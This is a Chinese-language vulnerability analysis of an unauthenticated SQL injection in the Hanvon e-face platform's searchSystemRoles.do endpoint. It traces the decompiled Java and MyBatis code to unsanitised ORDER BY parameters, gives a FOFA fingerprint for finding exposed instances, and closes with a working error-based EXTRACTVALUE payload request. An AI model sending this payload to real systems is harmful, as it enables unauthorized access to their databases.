漏洞简介

汉王e脸通综合管理平台是汉王公司研发的一款基于生物识别技术的智慧园区管理软件，集成了考勤管理、门禁管理、访客管理、巡更管理、消费管理、车控管理、梯控管理、人事管理等多个模块，广泛应用于政府、企业、监狱、学校、智慧社区等多个领域，实现无接触式快速通行，提升管理效率和安全性。其管理平台的 searchSystemRoles.do 接口存在 SQL注入漏洞。攻击者可在无需认证的情况下，通过构造恶意请求参数注入恶意 SQL 语句，导致数据库信息泄露、数据篡改甚至系统权限提升，影响系统数据安全和完整性。

影响版本

V1.6.x

fofa语法

icon_hash="1380907357"

漏洞分析

直接看 SystemRoleMgrController 里关于 searchSystemRoles 的实现

@ResponseBody
    @RequestMapping(
        value = {"/searchSystemRoles.do"},
        method = {RequestMethod.GET}
    )
    public RequestJson searchSystemRoles(@RequestParam(required = false,value = "page") Integer page, @RequestParam(required = false,value = "pageSize") Integer pageSize, @RequestParam(required = false,value = "name") String roleName, @RequestParam(required = false,value = "columnKey") String columnKey, @RequestParam(required = false,value = "order") String order) {
        RequestJson result = new RequestJson();

        try {
            this.loginCheck();
            DbPager pager = this.getPager(page, pageSize, columnKey, order);
            SystemRoleTpm systemRole = new SystemRoleTpm();
            systemRole.setName(roleName);
            List<SystemRoleTpm> systemRoleTpms = this.querySystemRoles(systemRole, pager);
            int numRows = pager.getRecordCount();

跟进querySystemRoles方法

private List<SystemRoleTpm> querySystemRoles(SystemRoleTpm sysRole, DbPager pager) throws Exception {
        if (sysRole == null) {
            sysRole = new SystemRoleTpm();
        } else if (Utils.isEmpty(sysRole.getName(), true)) {
            sysRole.setName((String)null);
        }

        SessionalUser su = getSessionUser();
        Long currUserId = su.isAdmin() ? null : su.getId();
        List<SystemRoleTpm> systemRoleTpms = new ArrayList();
        if (pager == null) {
            List<SystemRoleTpm> tpms = (List)this.systemAsm.getSystemRoles(sysRole.getName(), currUserId, pager).getResult();
            if (tpms != null) {
                systemRoleTpms.addAll(tpms);
            }
        } else {
            List<SystemRoleTpm> tpms = (List)this.systemAsm.getSystemRoles(sysRole.getName(), currUserId, pager).getResult();
            if (tpms != null) {
                systemRoleTpms.addAll(tpms);
            }
        }

        return systemRoleTpms;
    }

继续跟进getSystemRoles方法

public List<SystemRoleTpm> getSystemRoles(String roleName, Long userId, DbPager pager) throws Exception {
        if (pager != null) {
            for(DbSort dbSort : pager.getDbSorts()) {
                String f = SystemRoleFieldConvert.getFieldName(dbSort.getSortField());
                if (null == f || f.equals("")) {
                    throw new Exception("不支持的排序属性：" + dbSort.getSortField());
                }

                dbSort.setSortField(f);
            }
        }

        int recordCount = 0;
        List<SystemRoleTpm> roles;
        if (userId != null && this.systemDsm.getAdminUserCount(userId) <= 0) {
            if (!this.fillUserRoleIdTable(userId, roleName)) {
                pager.setRecordCount(0);
                return null;
            }

            if (pager != null) {
                recordCount = this.systemDsm.getSystemRolesCount(roleName, userId);
                pager.setRecordCount(recordCount);
            }

            roles = this.systemDsm.getSystemRoles(roleName, userId, pager);
            this.dropUserRoleIdTable();
        } else {
            if (pager != null) {
                recordCount = this.systemDsm.getAllSystemRolesCount(roleName);
                pager.setRecordCount(recordCount);
            }

            roles = this.systemDsm.getAllSystemRoles(roleName, pager);
        }

和 汉王e脸通综合管理平台 queryManyPeopleGroupList.do SQL注入漏洞 处理逻辑差不多，直接看对应的 mapper xml文件 SystemDsm.xml

<!--分页查询-->
    <select id="getSystemRoles" resultMap="systemRoleNoCollection">
        <include refid="select_page_head"/>
        <include refid="select_system_role"/>
        inner join tmpUserRole t on t.id=s.ng_id
        <!--<where>-->
            <!--<if test="roleName != null">-->
                <!--s.sz_name LIKE CONCAT(CONCAT('%',#{roleName}),'%')-->
            <!--</if>-->
        <!--</where>-->
        <include refid="select_page_tail"/>
    </select>
    <sql id="select_page_head">
        <if test="pager != null">
        SELECT * FROM (
        </if>
    </sql>
    <sql id="select_system_role">
        SELECT DISTINCT s.ng_id, s.sz_name
        FROM sys_role AS s
    </sql>
    <sql id="select_page_tail">
        <if test="pager != null">
        ) p
        <choose>
            <when test="pager.dbSorts != null and pager.dbSorts.size()>0">
                <foreach item="item" collection="pager.dbSorts" open="order by " separator=",">
                    ${item.sortField} ${item.sortMode}
                </foreach>
            </when>
            <otherwise>
                ORDER BY ng_id ASC
            </otherwise>
        </choose>
        limit ${(pager.pageIndex - 1) * pager.pageSize} , ${pager.pageSize}
        </if>
    </sql>

用户可控的 columnKey 和 order 参数未经任何过滤直接拼接到 SQL 语句的 ORDER BY 子句中，导致攻击者可构造恶意输入执行任意 SQL 命令，造成SQL注入漏洞。

漏洞复现

GET /manage/systemRoleMgr/searchSystemRoles.do?branchId=1&columnKey=id&deviceName=test&id=1&order=OR+EXTRACTVALUE(2605,CONCAT(0x5c,@@version,0x5c,(SELECT+(ELT(2605=2605,1)))))&page=1&pageSize=10&pointName=1&recoToken=SGUsqvF7cVS HTTP/1.1
Host: hanvon.mrxn.net

成功利用报错注入获取到数据库版本号信息